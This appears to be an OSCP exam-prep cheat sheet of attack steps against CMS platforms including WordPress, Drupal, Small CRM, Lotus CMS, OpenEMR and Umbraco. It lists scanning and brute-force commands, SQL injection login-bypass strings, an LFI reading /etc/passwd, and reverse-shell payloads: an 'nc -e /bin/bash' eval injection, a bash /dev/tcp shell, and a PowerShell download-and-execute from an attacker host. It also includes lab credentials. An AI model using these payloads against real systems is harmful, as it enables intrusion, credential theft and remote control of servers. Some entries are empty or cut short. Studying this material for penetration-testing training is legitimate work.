OSCP CMS

Exploitation Plan

- Code execution via plugins/modules/extensions/templates
- File upload vulnerabilities
- Sensitive database information/configurations
- Versioning information
- Web server info
- Configurations for user permissions
- Downgrade attacks
- Diagnostic tools
- Can we schedule any system level jobs
- Administration panel
- Can we download backups and read them locally ? Exfil sensitive data ?
- ACL
- Use the same set of credentials over multiple login pages if you have them

Koken

- searchsploit koken
  - Koken CMS 0.22.24 - Arbitrary File Upload (Authenticated) | php/webapps/48706.txt

Textpattern

Drupal

- Floating Topic
- Installation
  - 1 apt-get install python-pip
  - 2 pip install droopescan
- droopescan
  - droopescan scan drupal -u http://$IP:80
- 1 Metasploit
  - search drupal 7
    - exploit/unix/webapp/drupal_drupalgeddon2
    - Drupal 7.0 – 7.31
      - HTTP Parameter Key/Value SQL Injection
        - exploit/multi/http/drupal_drupageddon
- Meta Discovery for version
  - curl http://$IP | grep 'content="Drupal'
  - curl -s http://$IP/CHANGELOG.txt | grep -m2 ""
- Username enumeration
  - http://$IP/user/register
    - Discloses if the username exists or not
  - http://$IP/user/password
    - administrator
    - admin
    - user
- Floating Topic
- Drupal 7.54
  - Automated Script
    - RCE Exploit
      - https://github.com/dreadlocked/Drupalgeddon2
        - v.7.18
      - git clone https://github.com/dreadlocked/Drupalgeddon2.git
        - gem install highline
          - ruby drupalgeddon2.rb http://10.10.10.9
  - Manual
    - searchsploit drupal 7
      - Drupal 7.x Services Module Remote Code Execution
    - Requirements
      - apt install php-curl
    - Edit exploit with proper endpoints and data
      -

    - Access the file that was uploaded on the server and access the vulnerable CMD parameter
      - http://10.10.10.9/sites/default/files/hackme.php?cmd=whoami

Wordpress

- wpscan
  - wpscan --url http://$IP --no-update --disable-tls-checks --enumerate p --enumerate t --enumerate u --plugins-detection aggressive
  - wpscan --url http://$IP --no-update
    - Sometimes, if just better to use a regular scan, some plugins are not detected by other methods, for some reason, such as site-editor
- Discover valid credentials
  - wpscan --url http://192.168.110.130:80 --no-update --disable-tls-checks -U users.txt -P /usr/share/wordlists/rockyou.txt
- Sensitive files
  - var/www/html
    - wpscan --url http://192.168.110.130:80 --no-update --disable-tls-checks -U users.txt -P cewl.txt
    - /wp-config.php
      - # database details
- Endpoints for uploaded files
  - /wp-content/uploads/
  - /wp-content/plugins/
  - /wp-content/banners/
- Vulnerable Pluggins
  - wpscan --url http://$IP/wordpress/ --no-update --disable-tls-checks --enumerate p
  - Agressive Detection
    - wpscan --url http://$IP --plugins-detection aggressive
  - Exploitation
    - social_warfare 3.5.2
      - Exploitation
    - wpdiscuz 7.0.4
      - Manual Exploitation
        -
      - Metasploit
        -
      - Python Auto Script
        - python3 exploit.py -u http://bloggar.thm/assets/fonts/blog/ -p 7p=29
    - tutor 1.5.3
      - LFI
        - /wp-content/plugins/tutor/views/pages/instructors.php?sub_page=[LFI]
    - simple-file-list v 4.2.2
      - Manual exploitation
        - https://github.com/k1revam/OSCP-Scripts/blob/main/Wordpress/Plugins/simple-file-list_v_4.2.2_Arbitrary_File_Upload.py
      - metasploit
        - Exploitation steps
    - site-editor 1.1.1
      - LFI
        - Discover the root directory
          - curl http://$IP/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
          - /etc/apache2/sites-enabled/000-default.conf
            - DocumentRoot /var/www/html
            - /var/www/html/wp-config.php
- Vulnerable Themes
  - reflex_gallery 3.1.3
    - WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload | php/webapps/36374.txt
- Default Credentials
  - admin : password
    - admin : admin
- Discover WP version
  - curl http://$IP | grep 'content="WordPress'
    - <meta name="generator" content="WordPress 5.4.2"
- Discover Username
  - The login page wp-admin discloses which usernames exists
    - Error: The password you entered for the username admin is incorrect
- Web Portal - RCE File upload
  - Appearance
    - Themes
      - Add new
        - Upload Theme
          - Add the reverse_shell payload
            - Visit: /wp-content/uploads/2023/02/reverse_shell.php
            - You can Visit Media, switch to list view and you should see the shell.php file there
  - Appearance
    - Theme Editor
      - 404 Template
        - Add the reverse_shell payload
          - Visit: wp-content/themes/twentytwelve/404.php
  - Plugins
    - Add New
      - Upload Plugin
        - Add the reverse_shell
          - Visit: /wp-content/uploads/2023/02/reverse_shell.php
          - You can Visit Media, switch to list view and you should see the shell.php file there
    - Look for existing plugins, such as ADRotate and check is you can upload files
- Version dependent
  - Version < 4.2
    - https://www.youtube.com/watch?v=Bwpf-Ipst3Q&ab_channel=RoelvB
  - < 5.2.3
    - http://$IP/?static=1&order=asc
      - ad ?static=1&order=asc to dis...
    - (Authenticated) Arbitrary File Deletion
      - Exploitation Steps
        - 1 Login to wordpress with privileges of an author or low privileged user as in our case.
          - 2 Navigates to Media > Add New > Select Files > Open/Upload
            - any photo
            - 3 Click Edit > Open Developer Console > Paste this exploit script
              - unlink_thumb("../../../../.htaccess")
              - 4 curl http://$IP/wp-config.php
                - access the base configuration file ....
                - 5 Verify the info in the config file

Cute News

- 2.1.2
  - Authenticated Arbitrary File Upload
    - /usr/share/exploitdb/exploits/php/webapps/48458.txt

CSE bookstore

- CSE Bookstore 1.0
  - Authentication Bypass (SQL Injection login page)
    - https://www.exploit-db.com/exploits/48960
  - Unauthenticated Remote Code Execution
    - https://www.exploit-db.com/exploits/47887

CRM Admin

- Small CRM 3.0 - 'Authentication Bypass' SQL Injection
  - https://www.exploit-db.com/exploits/49995
    - Username : ' OR 'x'='x
    - Password : ' OR 'x'='x
- Small CRM 2.0 - Authentication Bypass
  - https://www.exploit-db.com/exploits/47874
    - 'or'or'
    - email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&login=
- Default Crendetials
  - Username: administrator
    Password: password1
  - Username: admin
    Password: admin

Lotus CMS

- Bypass login vulnerability
  - https://cxsecurity.com/issue/WLB-2017020195
- RCE though NC payload
  - https://v4ll-sec.com/lotuscms-3-0-eval-remote-command-execution/
    - page=index'),1);system("nc -e /bin/bash 192.168.0.13 4444"));#

OpenEMR

- Default credentials
  - admin : pass
- 'u' parameter SQL injection
  - exploit-db
    - /usr/share/exploitdb/exploits/php/webapps/49742.py
  - sqlmap
    - sqlmap -u $URL --dump --batch
      - sqlmap -u $URL --dump --batch -D openemr -T users
- RCE
  - Exploit
    - Payload RCE
      - bash -c 'exec bash -i &>/dev/tcp/192.168.110.101/4444 <&1'

Umbraco CMS

- Remote HTB
- Credentials can be found in sdf files, so if you find a way to access local files, either through NFS mounts or perhaps LFI/Dir Traversal, look within these types of files
  - find /home/kali/mount -type f -name "*.sdf"
- RCE
  - Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)
    - aspx/webapps/49488.py
    - python 49488.py -u mark@relia.com -p OathDeeplyReprieve91 -i http://web02.relia.com:14080 -c whoami
    - python 49488.py -u mark@relia.com -p OathDeeplyReprieve91 -i http://web02.relia.com:14080 -c powershell -a "iex(new-object net.webclient).downloadstring('http://192.168.45.158/Invoke-PowerShellTcp.ps1')"
  - pip install -r requirements.txt
    - git clone https://github.com/Jonoans/Umbraco-RCE
    - python exploit.py -u mark@relia.com -p OathDeeplyReprieve91 -w http://web02.relia.com:14080 -i 192.168.45.158
    - If you are using FQDN name make sure you use the FQDN and not the IP
  - Troubleshooting
    - Traceback (most recent call last):
      File "/home/kali/Umbraco-RCE/exploit.py", line 97, in <module>
      main()
      File "/home/kali/Umbraco-RCE/exploit.py", line 62, in main
      VIEWSTATE = soup.find(id='__VIEWSTATE')['value']
      ~~~
      ~~~